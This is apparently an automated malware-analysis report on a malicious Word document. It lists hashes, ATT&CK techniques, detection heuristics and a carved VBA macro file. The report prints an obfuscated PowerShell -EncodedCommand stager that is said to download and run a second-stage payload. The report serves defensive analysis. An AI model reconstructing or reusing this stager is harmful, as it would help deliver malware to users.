Office (OLE) / .DOCX malware analysis — malicious · 5f3038cdd02c0079

MALICIOUS

Office (OLE) / .DOCX

151.8 KB Created: 2020-09-14 18:36:00 Authoring application: Microsoft Office Word

MD5: 73ffd62f16a0973d7a0bc11988dda8d5 SHA-1: 7856bbc277dca7131fd256bb04647ceca34b4b52 SHA-256: 5f3038cdd02c0079f585341253ac8bc3dbb8aa92680e3f303614c65710645988

262 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1059.001 PowerShell

The sample contains obfuscated VBA macros, including a Document_Open macro that utilizes CreateObject to execute a PowerShell stager. The obfuscated PowerShell command decodes to 'powershell2vhaghsghf -e JABaAHoAegA2vhaghsghfxADAANABjAD2vhaghsghf0AKAAnAFoAM2vhaghsghfwAnACsAKAAn2vhaghsghfAHcAJwArACc2vhaghsghfAZwBqACcAKQ2vhaghsghfArACcAZwBjA2vhaghsghfCcAKQA7ACYA2vhaghsghfKAAnAG4AZQB2vhaghsghf3AC0AaQAnAC2vhaghsghfsAJwB0AGUAb2vhaghsghfQAnACkAIAAk2vhaghsghfAEUATgB2ADo2vhaghsghfAdQBTAEUAcg2vhaghsghfBwAHIATwBmA2vhaghsghfEkATABlAFwA2vhaghsghfcgBUAEIAXwB2vhaghsghf0ADcAOQBcAE2vhaghsghfcAYgBZADMAa2vhaghsghfwBXAF8AXAAg2vhaghsghfAC0AaQB0AGU2vhaghsghfAbQB0AHkAcA2vhaghsghfBlACAARABJA2vhaghsghfHIAZQBDAFQA2vhaghsghfbwBSAHkAOwB2vhaghsghfbAE4AZQB0AC2vhaghsghf4AUwBlAHIAd2vhaghsghfgBpAGMAZQBQ2vhaghsghfAG8AaQBuAHQ2vhaghsghfATQBhAG4AYQ2vhaghsghfBnAGUAcgBdA2vhaghsghfDoAOgAiAHMA2vhaghsghfRQBgAEMAVQB2vhaghsghfyAGAASQBgAF2vhaghsghfQAWQBgAFAAU2vhaghsghfgBvAHQATwBj2vhaghsghfAG8AbAAiACA2vhaghsghfAPQAgACgAJw2vhaghsghfB0ACcAKwAoA2vhaghsghfCcAbABzADEA2vhaghsghfJwArACcAMgA2vhaghsghfsACcAKQArAC2vhaghsghfcAIAAnACsAK2vhaghsghfAAnAHQAbABz2vhaghsghfADEAJwArACc2vhaghsghfAMQAsACcAKQ2vhaghsghfArACgAJwAgA2vhaghsghfCcAKwAnAHQA2vhaghsghfbAAnACkAKwA2vhaghsghfnAHMAJwApAD2vhaghsghfsAJABNAHgAN2vhaghsghfgA1AHcAOQA52vhaghsghfACAAPQAgACg2vhaghsghfAKAAnAFAAJw2vhaghsghfArACcAZABpA2vhaghsghfGIAdAAnACsA2vhaghsghfJwBiACcAKQA2'. This script is designed to download and execute a second-stage payload.

Heuristics 7

Hidden UserForm PowerShell EncodedCommand stager critical OLE_USERFORM_OBFUSCATED_POWERSHELL

OLE document contains a UTF-16LE form/property string with an obfuscated PowerShell -EncodedCommand payload. The observed macro family reconstructs this hidden string with Split/Join or UserForm property reads and launches it through WMI/COM process creation. This is downloader malware, not an Office CVE exploit.
ClamAV: Doc.Malware.Generic-9760286-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Generic-9760286-0
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `1292a632e7e589fe2af40be48c7cc33bf98b796b982d17887300d79315ad06a4`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	18499 bytes

Open this report in the interactive analyzer, or submit your own file for analysis.